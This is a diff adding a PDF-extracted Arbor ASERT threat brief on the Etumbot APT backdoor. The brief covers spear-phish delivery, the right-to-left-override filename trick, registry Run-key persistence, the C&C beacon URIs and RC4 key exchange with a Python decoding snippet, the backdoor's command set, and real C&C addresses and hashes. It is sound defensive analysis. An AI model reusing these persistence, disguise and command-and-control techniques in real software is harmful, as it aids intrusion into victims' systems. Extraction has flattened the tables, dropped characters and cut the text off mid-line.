diff --git "a/2014.clean.txt" "b/2014.clean.txt" new file mode 100644--- /dev/null +++ "b/2014.clean.txt" @@ -0,0 +1,75547 @@ +Arbor Threat Intelligence Brief 2014-07 +ASERT Threat Intelligence Brief 2014-07 +Illuminating the Etumbot APT Backdoor +ASERT Threat Intelligence, June 2014 +Etumbot is a backdoor used in targeted attacks since at least March 2011. Although +previous research has covered a related family, IXESHE, little has been discussed +regarding Etumbot +s capabilities. ASERT has observed several Etumbot samples using +decoy documents involving Taiwanese and Japanese topics of interest, indicating the +malware is used in ongoing, targeted campaigns. This report will provide information on +the capabilities of Etumbot and associated campaign activity. +Etumbot Capabilities and Techniques +Etumbot is a backdoor malware that has been associated with a Chinese threat actor group alternatively +known as +Numbered Panda +, APT12, DYNCALC/CALC Team, and IXESHE. Targeted campaigns +attributed to this group include attacks on media, technology companies, and governments. +IXESHE/Numbered Panda is known for using screen saver files (.scr), a technique repeated with the +Etumbot malware. [1] A previous campaign using IXESHE malware was highlighted in 2012; the group +used targeted emails with malicious PDF attachments to compromise East Asian governments, +Taiwanese electronics manufacturers, and a telecommunications company. The group has reportedly +been active since at least July 2009. [2] Etumbot has also been referred to as Exploz [3] and Specfix. +The variety of names for this malware could lead to some confusion about the actual threat. ASERT has +associated Etumbot with IXESHE, and therefore Numbered Panda, based on similar system and network +artifacts that are common between the malware families. For example, both malware families have been +seen using the same ka4281x3.log and kb71271.log files, both families have been observed calling back +to the same Command & Control servers and have been used to target similar victim populations with +similar attack methodologies. +Etumbot has two primary components. The first is a dropper which contains the backdoor binary (the +second component) and the distraction file. Stage one is likely delivered via spear phish using an archive +file extension such as .7z to deliver executable content. Stage one has been seen to leverage the +Unicode Right to Left Override trick combined with convincing icons for various types of PDFs or +Microsoft Office documents to convince the user to click and therefore execute the malware, which then + Copyright 2014 Arbor Networks, Inc. All rights reserved. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +runs the backdoor and displays the distraction file. As with the IXESHE malware, Etumbot has been +observed dropping documents of interest to a Taiwanese and Japanese target population. +Stage 1: Installer/Dropper +To profile the techniques and capabilities of Etumbot, we will analyze an Etumbot dropper with MD5 +ff5a7a610746ab5492cc6ab284138852 and a compile date of March 4, 2014. +When executed, the dropper loads up a resource named "BINARY" from the resource section then +creates the directory C:\Documents and Settings\User\Application Data\JAVA, then creates a temporary +file C:\DOCUME~1\User\LOCALS~1\Temp\ka4281x3.log then creates C:\Documents and +Settings\User\Application Data\JAVA\JavaSvc.exe from the aforementioned BINARY resource. This file, +JavaSvc.exe, is the backdoor component (MD5 82d4850a02375a7447d2d0381b642a72). JavaSvc.exe is +executed with CreateProcessInternalW. The backdoor component of the malware (named here as +JavaSvc.exe) is now running. It is interesting to note that versions of the IXESHE malware also used +JavaSvc.exe as a filename. +Most Etumbot samples observed by ASERT drop decoy documents (PDFs, Word Documents, and Excel +Spreadsheets) written in Traditional Chinese and usually pertaining to Cross-Strait or Taiwanese +Government interests. Several decoy files contain details on upcoming conferences in Taiwan. +Spear Phishing +Etumbot appears to be sent to targets via spear phishing emails as an archive; ASERT has observed .7z +and .rar formats being used to presumably deliver the Etumbot installer. The archive filename will have a +topic most likely of interest to the victim. +At least one identified malware sample (75193fc10145931ec0788d7c88fc8832, compiled in March 2014) +uses a password-protected .7z to deliver the Etumbot installer. It is most likely that the spear phish email +contained the password. +With the correct password, the victim has access to the dropper inside the archive. This archive most +likely included the installer d444be30d2773b23de38ead1f2c6d117, as the filenames match (1030522 +Proprietary and Confidential Information of Arbor Networks, Inc. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +.7z and 1030522 + rcs.DOC). 1030522 is a date (May 22, 2014) +from the Minguo calendar, which is unique to Taiwan. The calendar is based on the establishment of the +Republic of China in 1911. 2014 is therefore the +103 + year of the ROC. The installer is a .scr binary +posing as a Word Document. This dropper drops a decoy document and the backdoor, named +sysupdate.exe in this instance. +Right-to-Left Override +After the files are extracted from the archive, the filenames of Etumbot installers make use +of the right-to-left override (RTLO) trick in an attempt to trick users into clicking on the +installer. The RTLO technique is a simple way for malware writers to disguise names of +malicious files. A hidden Unicode character in the filename will reverse the order of the +characters that follow it, so that a .scr binary file appears to be a .xls document, for +example. Threat actors using this trick have been well documented since at least 2009. [45] One way to avoid this trick in Windows is to set the +Change your view + level to +Content +Below are some of the names of Etumbot installers using RTLO successfully: +File +name + Finarcs.doc +1030522 + rcs.DOC + Finarcs.xls +10342 + rcs.xls + 1030324 + finalrcs.xls +EPIF + rcs.xls +b3830791b0a397bea2ad943d151f856b +d444be30d2773b23de38ead1f2c6d117 +5340fcfb3d2fa263c280e9659d13ba93 +beb16ac99642f5c9382686fd8ee73e00 +4c703a8cfeded7f889872a86fb7c70cf +1ce47f76fca26b94b0b1d74610a734a4 +Stage 2: Persistence, Distraction, HTTP Beacon and Crypto Functionality +As the backdoor executes from our previous example, C:\DOCUME~1\User\LOCALS~1\Temp\ +kb71271.log is created and contains the following registry file to make the malware persistent: +[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] "JavaSvc"="C:\\Documents +and Settings\\User\\Application Data\\JAVA\\JavaSvc.exe" +The dropper then calls regedit with kb71271.log as a parameter to modify the registry. kb71271.log is +then deleted. These temp files appear to be static and used across multiple samples of Etumbot and +IXESHE. Various other samples were found using this same naming scheme. +Next, C:\DOCUME~1\User\LOCALS~1\Temp\ka4281x3.log is created, filled with contents of the +bait/distraction file, and then copied to C:\DOCUME~1\User\LOCALS~1\Temp\~t3fcj1.doc, which is then +opened. If Word isn't installed, then notepad will open the file instead. The ka4281x3.log file is then +deleted. +Returning to the first sample, once the dropper (ff5a7a610746ab5492cc6ab284138852) installs the +Etumbot backdoor (82d4850a02375a7447d2d0381b642a72), an initial HTTP beacon is sent to the +Command & Control server that requests an RC4 encryption key. The beacon takes the form of a GET +request to /home/index.asp?typeid=N where N is a randomly selected odd number between 1 and 13. If +the C&C is online, the decoded response payload will contain the RC4 key that is used to encrypt +subsequent communication. +If the C&C does not send a valid response, the bot will re-send the initial request every 45 seconds. + Copyright 2013 Arbor Networks, Inc. All rights reserved. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +While the user-agent may appear to be legitimate, it only occurred 39 times in a corpus of over 61 million +HTTP requests. Due to the possibility of this User-Agent appearing in legitimate traffic, other indicators +such as the additional fake Referer value of http://www.google.com should be present before compromise +is assumed. All of the headers in the HTTP request are hard-coded in both order and value, so they may +be used to provide additional indicators of compromise. +If the C&C is online and responds to the beacon, then the RC4 key is delivered to the bot in a string of +base64 encoded characters. Etumbot uses a url-safe base64 alphabet, i.e., any characters that would +require URL-encoding are replaced. Usage of base64 is a technique consistent with previous analysis +done on IXESHE malware. [2,7] In the case of Base64, the + and + characters are replaced with +and + respectively. The payload from the C&C contains an 8-byte command code in little-endian format, +followed by a null-terminated string argument if the command requires it. In the case of the initial beacon +response, the RC4 key is located after the command code and has been observed to be e65wb24n5 for +all live C&C +s that ASERT has analyzed. +An example of this initial beacon and delivery of RC4 key is as follows. +Proprietary and Confidential Information of Arbor Networks, Inc. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +The RC4 key can be obtained from the C&C response with the following python: +import base64 +c2_response="""AQAAAAAAAABlNjV3YjI0bjUAAAAAAAAAAAAAAG5FAVBvIz8hYk08ITI4BA0lMTBvBRx0NB18 +BndMcFMKQhR5PxxkQ3VnFEALeXA6C3RPBmJLHBBccHQINEl9I3kMUk0lOT4wCFgqD3khTjl5IEAqGzU_DmtU +eEJBYSQHEiwRADteMEFjTw5oXgtjGkUxL14JPlwyYQQXPkVaQiAyUBEaJWlkOQEmZRoXZ10EN3RndH0kbEEre +w0NUklhFRlpNDJofS1hPQMCeWUvHSQPA2ZAPHEcCRkLPURbCC8bdTgIXXcIBhBbVlhjdB8iL2Y_TCNldTNjZkE +vB0M5BWtaOkBALj4KIA5UBjhVPxhhSk1fAwdKKi8zdhl6TkthRUZAOQdICRgFEgY0dwpQNjtlQgR8DzM9N3NQ +BhteHgdwaVtycDZvS1Q3CTYhARI1GBMrWh1FQxcdQhV7MSx+NQxqFHgVKHRAdBIBIzNFP14gLHErBAYeWH +1jGCMAdlx5MWAuFk5TW3M+UxFMclIsclEAbzgzB2NSOX0iYBBucmthDyYaZR8tBBMbJjMoCXleMkM+YjdfCHc +xIUBHbic+RiEeNwAvWD40W2p0diUyCTJHFEU+KRc+ZFVJTA0zHgxwAiJva306KXkIL3ZnRwAIKCh4M3sgFgZ +ZGU9lFXg4ancZFSAlNl1RaRQ8b3drCWofbWB+fkIyKEJ8AnJlaUAxEglWZSM+TWFEAE4aCnFpe1JpB1xTBSgfE +UwVUh1UDE5UVC1qanIcXXlfcmRzdWkPK2doDlBhVmx4dm8zUkFgMWJHdRhzRSdrKwk_KWAadyAqMEg2MlE +YNVl9Wl84bQtVcRYpFHAXGg8kQiI6E1xiBApHV3ZDLBY+G2sADmJXUC9OCixmBEYUNGBXATh0QVxUNTwyQ +nhbXRxNTHlCEAlYBXhyTWdyQRcNBxskBRlRBn42HlhNbEtnJCk4QkIoDzRbEChGLi10ERpgZTpNNCJjKEUNOhh +lcRR1Dkw+ITMAYAleCDQdTVpTHGQbXwktTmROQiooaEtLLHcILTo4an08I1p9H2IPeBseLiUScQp3Xg-""".replace('_','/').replace('-','=') +c2_response=base64.b64decode(c2_response) +rc4_key = c2_response[8:8+c2_response[8:].find('\x00')] +print rc4_key +e65wb24n5 +While a payload of 1080 bytes is sent back, the majority appears to be random padding. +Once the bot has received the encryption key, the bot sends a registration callback to the C&C +/image/.jpg containing the encrypted values of system information to include the +NetBIOS name of the system, user name, IP address, if the system is using a proxy (Yes/No), and a +numeric value which may be some type of campaign code. IXESHE malware has also been observed +using a unique campaign code that is delivered back to the C&C. [7] + Copyright 2013 Arbor Networks, Inc. All rights reserved. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +Etumbot discovers the proxy settings of the local machine. If a proxy is defined, communications to the +C&C bypass the proxy and go directly to the Internet. Environments with system-defined proxies won +t get +this activity in proxy logs, however transparent proxies may see this activity. +A contrived example of this registration string generated by the Etumbot backdoor prior to encryption is as +follows: +WINXPBOX|johnsmith|10.0.1.15|No Proxy|05147| +A bot registration call to /image +Once the bot has registered with the C&C, it will send periodic pings to ask for new commands to +execute. The URI for the ping requests is /history/.asp, where encrypted +NetBIOS name is the url-safe base64 encoding of the rc4-encrypted NetBIOS name. +Proprietary and Confidential Information of Arbor Networks, Inc. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +Etumbot Command Structure +The first eight bytes of C&C responses to the bot include the command, and the second eight bytes +contain an ASCII string that is parsed. In the event of a file download, file upload, or command execution, +the second eight bytes contain the filename or command to be executed. The parsing function inside the +binary reveals at least five commands: +Etumbot +function +Command +name +Internal +code +Execute +arbitrary +command +ETUM_CMD_EXEC +Download +file +from +ETUM_CMD_PUTFILE +Upload +file +from +ETUM_CMD_READFILE +Pause +execution +ETUM_CMD_SLEEP +Delete +backdoor +binary +terminate +program +ETUM_CMD_UNINSTALL +Ping +ETUM_CMD_PING +ETUM_CMD_EXEC provides the capability for the attacker to run any command on the compromised +hosts. Both stdout and stderr from the command are redirected to a pipe and are then relayed back to the +C&C using a separate thread that spawned during initialization. In the event of a process creation or hang +error, an HTTP transaction to /tech/s.asp/m= is sent to the C&C, where contains + Copyright 2013 Arbor Networks, Inc. All rights reserved. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +a create process error statement +CreateProcess Error: %d + or a message that states +Process Do not +exit in 10 second, so i Kill it! +. Some samples of droppers have been observed using the string +Process +Do not cunzai in 10 second, so i Kill it! +. The word "cunzai + is likely the pinyin (romanization) for the +Mandarin word 'exist'. +ETUM_CMD_PUTFILE provides the capability for files to be placed on local system from the C&C. The +file upload is accomplished by sending a request to /docs/name= and the C&C is expected to +respond with the full contents of the file as the response payload. +A success or failure status message is relayed via a call to /tech/s.asp?m= +with various reasons for failure potentially being relayed. +ETUM_CMD_READFILE allows any file from the compromised system to be uploaded to the C&C. When +a READFILE command is received from the C&C, the bot makes an initial call to +/manage/asp/item.asp?id=&&mux= and checks for +the presence of +m Ready + in the response from the C&C. Data from the file is read in 2000 byte chunks, +RC4 encrypted and then url-safe base64 encoded. The data is sent back to the C&C via the URI +/article/30441/Review.asp?id=&&date=. The bot expects a +message of + from the C&C after each response is sent and will terminate the upload and send an +error message to the C&C in the case it is not seen. A success or failure message is sent via the +/tech/s.asp?m= to complete or terminate the upload. +ETUM_CMD_SLEEP puts the bot into a dormant state for a period of time. When a bot receives the sleep +command, it will relay the message, +I will sleep %d minutes! + via a call to /tech/s.asp?m=. +ETUM_CMD_UNINSTALL deletes the binary and terminates the process with no additional +communication to the C&C. +Use of Byte Strings Technique (aka +String Stacking +Etumbot uses a technique to load strings into memory that has been called +byte strings + and also +string +stacking + whereby character values are loaded into a specific memory location one byte at a time. +Assuming the string values do not change frequently, these byte strings can make for meaningful +detection capabilities, such as discovering an unusual combination of characters (to include typos, unique +or odd syntax) being loaded into memory that creates a unique fingerprint for the malware activity that +can be used as part of a yara rule or other detection mechanism. The byte string technique has been +observed in various Chinese APT malware, including Gh0st RAT, IXESHE malware, Etumbot and others. +ASERT has provided an IDApython script that will provide for cleaner analysis of such strings as well as a +corresponding blog entry that describes the obfuscation technique and code. [8-9] +The output of running find_byte_strings.py on an Etumbot backdoor shows the string +m Ready + which is +involved in file transfer routines. The first screenshot shows the default hex byte values that are MOVed +into offsets from EBP, and the second screenshot shows those same characters after translation to string +values. +Proprietary and Confidential Information of Arbor Networks, Inc. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 + Copyright 2013 Arbor Networks, Inc. All rights reserved. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +Two additional screenshots provide insight into all of the strings discovered. +The byte string technique has also been observed in other malware, so its presence alone does not +specifically indicate the activities of Chinese threat actors. +An interesting artifact occasionally observed during analysis is the presence of a numeric value just after +an IP address used as a C&C. The placement of this number after a colon suggests the use of a port +value, however such a port value is too high to be valid. An example of this taken from an Etumbot +sample performing an initial beacon is as follows: +Proprietary and Confidential Information of Arbor Networks, Inc. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +Etumbot Backdoor Related File System Artifacts of Interest +Filename +Purpose +Notes +ka4281x3.log +Temporary +file +data +exchange +from +Observed +various +IXESHE +malware +variants +well +Etumbot. +File +stored +C:\Windows\system32\, +\Documents +Settings\ +elsewhere +ka4a8213.log +Temporary +file +data +exchange +from +Similar +format +prior +filename, +this +only +been +observed +Etumbot +samples. +kb71271.log +Temporary +file +data +exchange +from +C&C, +include +registry +file +Observed +various +IXESHE +malware +variants +well +Etumbot +~DA5E74.doc +~DS5D64.doc +~t3fcjl.doc +~g4h710.doc +~gh4710.pdf +~trfai3.doc +~tresd2.xls +~taste3.doc +~tasyd3.xls +~tkfad1.xls +ntprint.exe +conime.exe +JavaSvc.exe +serverupdate.exe +wscnsvr.exe +spoolvs.exe +winlogdate.exe +tst1.tmp +tst2.tmp +tst3.tmp +Distraction +documents +Contains +variety +document +content, +often +obtained +from +other +sources +that +will +interest +target +Backdoor +binary +Etumbot +backdoor +binary +itself +which +added +registry +persistent +execution +Observed +IXESHE +malware +Etumbot +samples +well +other +malware. +file +tst3.tmp +more +popular +than +other +file +names +used +wider +variety +malware +Locations +JAVA +Directory +created +Created +\Documents +Settings\\Application +Data\ +also +root +directory + Copyright 2013 Arbor Networks, Inc. All rights reserved. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +Etumbot Command and Control Indicators +Most instances of Etumbot that were analyzed connect directly to an IP address with the IP address +hardcoded in the binary. These C&C +s were obtained from analyzing malware samples compiled over a +period of several years. +Address +Domain +Name +Country +200.27.173.58 +200.42.69.140 +92.54.232.142 +133.87.242.63 +98.188.111.244 +intro.sunnyschool.com.tw +143.89.145.156 +196.1.99.15 +wwap.publiclol.com +59.0.249.11 +198.209.212.82 +143.89.47.132 +A number of these C&C IP addresses are also used by +IXESHE-related malware, which seems to indicate that +Etumbot is often used in tandem with IXESHE. The +domain finance[.]yesplusno[.]com and IP address +211[.]53.164.152 was also used by a variety of +IXESHE samples, for instance. The registrant for the +domain yesplusno[.]com is listed as +alice yoker + with +the email address +chuni_fan@sina.com +. Other +domains registered in this name have also been used +as C&C for IXESHE: +securezone[.]yesplusno[.]com [10] +prishmobile[.]googlesale[.]net +yahoopush[.]googlesale[.]net +The IP address 98.188.111.244 has also been used as +a C&C for multiple IXESHE samples, beginning in at +211.53.164.152 +finance.yesplusno.com +least March 2013 and observed as recently as March +2014 with an Etumbot sample. This is the IP address for what appears to be a legitimate website for a +school in Taiwan: intro.sunnyschool.com.tw. Note that if HTran or other connection bouncer is used, the +C&C may be a legitimate site that was simply compromised and used to direct traffic elsewhere. +190.16.246.129 +Miscellaneous Network Artifacts: Use of Htran Connection Bouncer +Indicators suggest that HTran, a connection bouncer, is being used in some cases such as on the C&C +contacted by malware sample MD5: 1ce47f76fca26b94b0b1d74610a734a4 (compilation date March 12, +2014). The presence of HTran is based on the following response string +[SERVER]connection to ss:dd error +IP address allocated to Hokkaido University +IPs allocated +allocated to +to Hong +Hong Kong +Kong University +University of +of Science +Science and +and Technology +Technology +IP allocated to the University of Missouri +IP allocated to the University Saint-Louis of Senegal +Proprietary and Confidential Information of Arbor Networks, Inc. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +HTran is also called "HUC Packet Transmit Tool", developed by a member of the Honker Union of China, +a hacker group; the source code for the program is available online. [11] HTran is designed to redirect +TCP traffic intended for one host to another, and has been used by IXESHE malware previously. [2] +Researchers at SecureWorks determined some years back that HTran would deliver the IP address of +the final destination server if the final server were down or unreachable. The code in use here has been +modified to not reveal such information. Organizations properly positioned with netflow or other traffic +analysis capabilities may be able to locate upstream servers from HTran nodes that operate as the initial +tier of C&C. +Htran activity can be detected with the following signature: +ET CURRENT_EVENTS HTran/SensLiceld.A response to infected host +The import hash for the sample observed connecting to an Htran bouncer is +a9059c354e5025dfe4f1c0b8b57e4f62 which links to other Etumbot samples compiled with Microsoft +Visual C++ 5.0 in a similar March 2014 timeframe: +4c703a8cfeded7f889872a86fb7c70cf 2014-03-24 +ff5a7a610746ab5492cc6ab284138852 2014-03-04 +Etumbot Campaign Timeline +The following samples have been identified by ASERT as Etumbot malware. The first identified sample +has a compilation date of March 2011, while the most recent was compiled in May 2014. Many +droppers/installers contain Etumbot or, alternatively, IXESHE-related backdoors. +Most of the documents dropped with Etumbot are written in traditional Chinese. Traditional Chinese +(versus simplified Chinese used in mainland China) is most widely used in Taiwan. While other areas do +make use of traditional Chinese (Hong Kong, Macau), the topics of the decoy documents strongly +suggest that Taiwanese entities are the targets for many Etumbot samples. +A recent increase in Etumbot samples with configuration dates of 2014 seems to indicate that the +Numbered Panda/IXESHE group has increased activity lately or has begun using Etumbot more widely in +targeted campaigns. +2011 +ac22aa007081caeb8970aefba7eddfcf +Compilation Date: 2011-03-09 14:10:34 +C&C: N/A +Filename: Help statement from western U.S ?cod.scr +Archive: HelpXstatementXfromXwesternXU.SX.rar (c2d667b8072aa2eaa670d4459dd7c90d) +Dropped Files: ~$workp.doc (7ec4ece7358f9f67a4d583777dc1fb59), ka4281x3.log, kb71271.log, WINCHAT.EXE +(70424b91dc905e4ca5e4aeb1c62ed91f) + Copyright 2013 Arbor Networks, Inc. All rights reserved. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +~$workp.doc: News article on recent Chilean earthquake (English) +cd33c5467d425f662f57672531701d89 +Compilation Date: 2011-03-14 02:49:22 +C&C: N/A +Filename: N/A +Dropped Files: ~$workp.doc (731f288ebd8ff05b3a32377d9d7f4751), WINCHAT.exe +(e62453f41af9d87b4f6d4e8223926024) +~$workp.doc: Notice from TEPCO (Tokyo Electric Power Company) dated March 14 about +emergency shortage and blackouts. (Japanese) +04908c6853cb5c9d7dccaf15fb5fd3bb +Compilation Date: 2011-03-24 03:24:42 +C&C: 32.114.251.129 (US), 217.119.240.118 (RS), 202.106.195.30 (CN) larry[.]yumiya[.]com +Proprietary and Confidential Information of Arbor Networks, Inc. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +Filename: N/A +Dropped Files: ~$workp.doc (4d47f52c675db16ab1e1df5ac050d3b8), ka4281x3.log, kb71271.log, WINCHAT.exe +(47ee9a497a12272b50bb5e197935f13f) +~$workp.doc: +Investigation Results + of several cases/laws involving the Ministry of National +Defence (Traditional Chinese) +2012 +232b659e28c5e06ad5466c01aec35cb6 +Compilation Date: 2012-09-19 08:53:14 +C&C: 200.27.173.58 (CL) +Filename: N/A +Dropped Files: ka3157j.log, W3svc.exe (1e838fd06bcc64c54e75c527df164d91) +7a698acebcf19b55170f05388a2f7fe0 +Compilation Date: 2012-10-12 01:21:11 +C&C: N/A +Filename: N/A +Dropped Files: ka3158jl.log, iexplore.exe (ac7f77cc55c964e400b8926f21bed7d2) +1e8fba674761371cb9e88962dcb851c0 +Compilation Date: 2012-11-20 00:11:02 +C&C: 211.53.164.152 (KR), finance[.]yesplusno[.]com +Filename: N/A +Dropped Files: ~PG7953.doc (adc0ffd684d9a986d65cb4efba39c3fe), ka3157jl.log, kb71271.log, iexplore.exe +(37648553f4ee6c5cb712cca446340a9a) + Copyright 2013 Arbor Networks, Inc. All rights reserved. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +~PG7953.doc: +qqqqqq +88653dde22f723934ea9806e76a1f546 +Compilation Date: 2012-12-05 01:30:07 +C&C: 190.193.44.138 (AR), cht[.]strangled[.]net +Filename: N/A +Dropped Files: N/A (this sample is a dropped backdoor) +2b3a8734a57604e98e6c996f94776086 +Compilation Date: 2012-12-05 02:13:27 +C&C: 92.54.232.142 (GE) +Filename: +.doc .exe +Dropped Files: ~DS5D64.doc (2454c4af0b839eb993dd1cbb92b2c10d), ka4281x3.log, conime.exe +(3214bf22eb28e494b8e23d8ffc5ac4a9) +~DS5D64.doc: Form pertaining to unspecified investigation/case (Traditional Chinese) +Proprietary and Confidential Information of Arbor Networks, Inc. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +1498c9761fc819d496171c71604c2128 +Compilation Date: 2012-12-11 02:26:18 +C&C: N/A +Filename: + cod.scr +Dropped Files: ~DS5D64.doc (e8b92d20a9c4718b4f90d27cd8cba4b3), conime.exe +(0bfb9f2080aeee22d3b4ca6fbfd25980) +~DS5D64.doc: Application to apply as a member of the +Taiwan National Alliance + (Traditional Chinese) +063b6076c69ce3ba4f116d1ad51da2b5 +Compilation Date: 2012-12-12 01:26:54 +C&C: N/A +Filename: N/A +Dropped Files: ~PG7953.doc (c4af36f64d515569816263ca48f61899), ka3157jl.log, iexplore.exe +(5b15664fb744c3f3cf7ec7b5515d2be5) +~PG7953.doc: Foreign Ministry: Security Operation Center Plan (Traditional Chinese) + Copyright 2013 Arbor Networks, Inc. All rights reserved. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +2013 +ca838b98ca0f516858a8a523dcd1338d +Compilation Date: 2013-07-25 07:48:29 +C&C: 143.89.145.156 (HK) +Filename: N/A +Dropped Files: ~g4h710.doc (729353afd095ca07940490dbb786ee33), ka4281x3.log, kb71271.log, JavaSvc.exe +(36b42162c818cf6c2fb22937012af290) +~g4h710.doc: +The 2013 Turning Point: Blazing a Trail for Taiwan's Economy + Conference at the Taipei +International Convention Center 2013-07-30 (Traditional Chinese) +986937eb4052562cdd3960dd8fffc481 +Compilation Date: 2013-07-30 08:22:06 +C&C: 200.42.69.140 (AR) +Filename: N/A +Dropped Files: ~g4h710.pdf (7cd7db8ff8071d590567c68ea0219f23), ka4281x3.log, kb71271.log, JavaSvc.exe +(ee8ba3bef6a607af79405e75fb0f0d6f) +Proprietary and Confidential Information of Arbor Networks, Inc. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +~g4h710.pdf: the Industrial Technology Research Institute (Taiwan), 2013 Cross Strait Communication +Industry Cooperation and Exchange Meeting (2013-07-15) (Traditional Chinese) +5ef508d0ca7759ecf602192521fff287 +Compilation Date: 2013-08-01 00:47:08 +C&C: 200.42.69.140 (AR) +Filename: N/A +Dropped Files: ~t4hhk0.pdf (6b7cbcabd963ee4823dd2cd9daa5fcc7), ka4281x3.log, kb71271.log, JavaSvc.exe +(ee8ba3bef6a607af79405e75fb0f0d6f) +~t4hhk0.pdf: Cross Straits Strategic Emerging Industry Cooperation and Development Forum (2013-08-14) +(Traditional Chinese) + Copyright 2013 Arbor Networks, Inc. All rights reserved. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +2014 +ff5a7a610746ab5492cc6ab284138852 +Compilation Date: 2014-03-04 00:19:59 +C&C: 98.188.111.244 (US) +Filename: WTO^XPiii20140303 _slx.scr +Dropped Files: ~t3fcj1.doc (361a6752766c154c6e31a4d9cc3a3fdc), kb71271.log, ka4281x3.log, JavaSvc.exe +(82d4850a02375a7447d2d0381b642a72) +~t3fcj1.doc +1ce47f76fca26b94b0b1d74610a734a4 +Compilation Date: 2014-03-12 01:38:44 +C&C: 133.87.242.63 (JP) +Filename: APO EPIF + rcs.xls +Dropped Files: ~tresd2.xls (2e073d35934bb3920fe9907ccb7bc5f8), ka4281x3.log, kb71271.log, wscnsvr.exe +(deeec10be746ecf9bf46a30bf58bc784) +Proprietary and Confidential Information of Arbor Networks, Inc. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +~tresd2.xls: International Green Fair (EPIF), held in Taiwan March 13-16, 2014 (Traditional Chinese) +4c703a8cfeded7f889872a86fb7c70cf +Compilation Date: 2014-03-24 00:53:57 +C&C: 133.87.242.63 (JP) +Filename: + 1030324 + finalrcs.xls +Archive: .rar (9b42968e9a7646feb7db318713271718) +Dropped Files: ~t3fcj1.xls (18dc518810892d89430a1efe2c71797e), ka4a8213.log, kb71271.log, serverupdate.exe +(fed7ce0d20e78b5814475d8f9d062c80) +~t3fcj1.xls: Filename (Traditional Chinese) pertains to a Taiwan National Development Council meeting, +document is unreadable + Copyright 2013 Arbor Networks, Inc. All rights reserved. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +beb16ac99642f5c9382686fd8ee73e00 +Compilation Date: 2014-03-31 07:34:00 +C&C: 143.89.47.132 (HK) +Filename: 10342 + rcs.xls +Dropped Files: ~tkfad1.xls (eef5f9b46676b31a791216b42360c8bb), ka4a8213.log, kb71271.log, Googleupdate.exe +(e7d960060d602deb53c7d49d2002c4a4) +~tkfad1.xls: Filename (Traditional Chinese) pertains to April 2 meeting of unnamed Commission about +financial regulation amendments. Document format is unreadable +5340fcfb3d2fa263c280e9659d13ba93 +Compilation Date: 2014-04-23 01:23:41 +C&C: 196.1.99.15 (SN), wwap[.]publiclol[.]com +Filename: + Finarcs.xls +Dropped Files: ~tasyd3.xls (c5118ba47b7aa12d6524f648f1623cc1), ka4a8213.log, kb71271.log, winlogdate.exe +(ba4f88fe44d02a299dbeab18c37f74f3) +~tasyd3.xls: Filename +price list + (Traditional Chinese). Document format is unreadable. +Proprietary and Confidential Information of Arbor Networks, Inc. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +a6b4b679a51627ce279d5107c20dd078 +Compilation Date: 2014-04-29 03:44:19 +C&C: 59.0.249.11 (KR) +Filename: spoolv.exe +Dropped Files: N/A (this sample is a dropped backdoor) +d444be30d2773b23de38ead1f2c6d117 +Compilation Date: 2014-05-14 13:34:46 +C&C: 198.209.212.82 (US) +Filename: 1030522 + rcs.DOC +Archive: 1030522 +.7z (75193fc10145931ec0788d7c88fc8832) +Dropped Files: ~trfai3.doc (196ae8d6a5d19737ae6975d047ab1d59), ka4a8213.log, kb71271.log, sysupdate.exe +(86ef188537f5e4637df24336c9b21cb0) +~trfai3.doc: List of Convener, Deputy Convener, and Executive Secretary names for various government +departments (Traditional Chinese) +b3830791b0a397bea2ad943d151f856b +Compilation Date: 2014-05-14 08:16:41 +C&C: 198.209.212.82 (US) +Filename: + Finarcs.doc +Archive: +.rar (8629b95f9e0898793e0881a8f79ee0cf) +Dropped Files: ~taste3.doc (aeaf1e78c2082644b122bf32803acb1f), ka4a8213.log, kb71271.log, spoolvs.exe +(5eba8ced8656da865f91d5fc87e8dc74) + Copyright 2013 Arbor Networks, Inc. All rights reserved. +Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 +~taste3.doc: Sun Yat-Sen University (Taiwan) purchase list, items include Cisco3045E/K9 or equivalent +(Traditional Chinese) +List of Identified Etumbot MD5s +ca838b98ca0f516858a8a523dcd1338d +986937eb4052562cdd3960dd8fffc481 +5ef508d0ca7759ecf602192521fff287 +d08c54ed480c9cd8b35eab2f278e7a28 +82d4850a02375a7447d2d0381b642a72 +4c703a8cfeded7f889872a86fb7c70cf +063b6076c69ce3ba4f116d1ad51da2b5 +232b659e28c5e06ad5466c01aec35cb6 +1e8fba674761371cb9e88962dcb851c0 +7a698acebcf19b55170f05388a2f7fe0 +ff5a7a610746ab5492cc6ab284138852 +cd33c5467d425f662f57672531701d89 +1ce47f76fca26b94b0b1d74610a734a4 +ac22aa007081caeb8970aefba7eddfcf +1498c9761fc819d496171c71604c2128 +2b3a8734a57604e98e6c996f94776086 +9b42968e9a7646feb7db318713271718 +04908c6853cb5c9d7dccaf15fb5fd3bb +d444be30d2773b23de38ead1f2c6d117 +86ef188537f5e4637df24336c9b21cb0 +e7d960060d602deb53c7d49d2002c4a4 +5340fcfb3d2fa263c280e9659d13ba93 +a6b4b679a51627ce279d5107c20dd078 +88653dde22f723934ea9806e76a1f546 +b3830791b0a397bea2ad943d151f856b +beb16ac99642f5c9382686fd8ee73e00 +Proprietary and Confidential Information of Arbor Networks, Inc. +Arbor Security Report: ASERT Threat 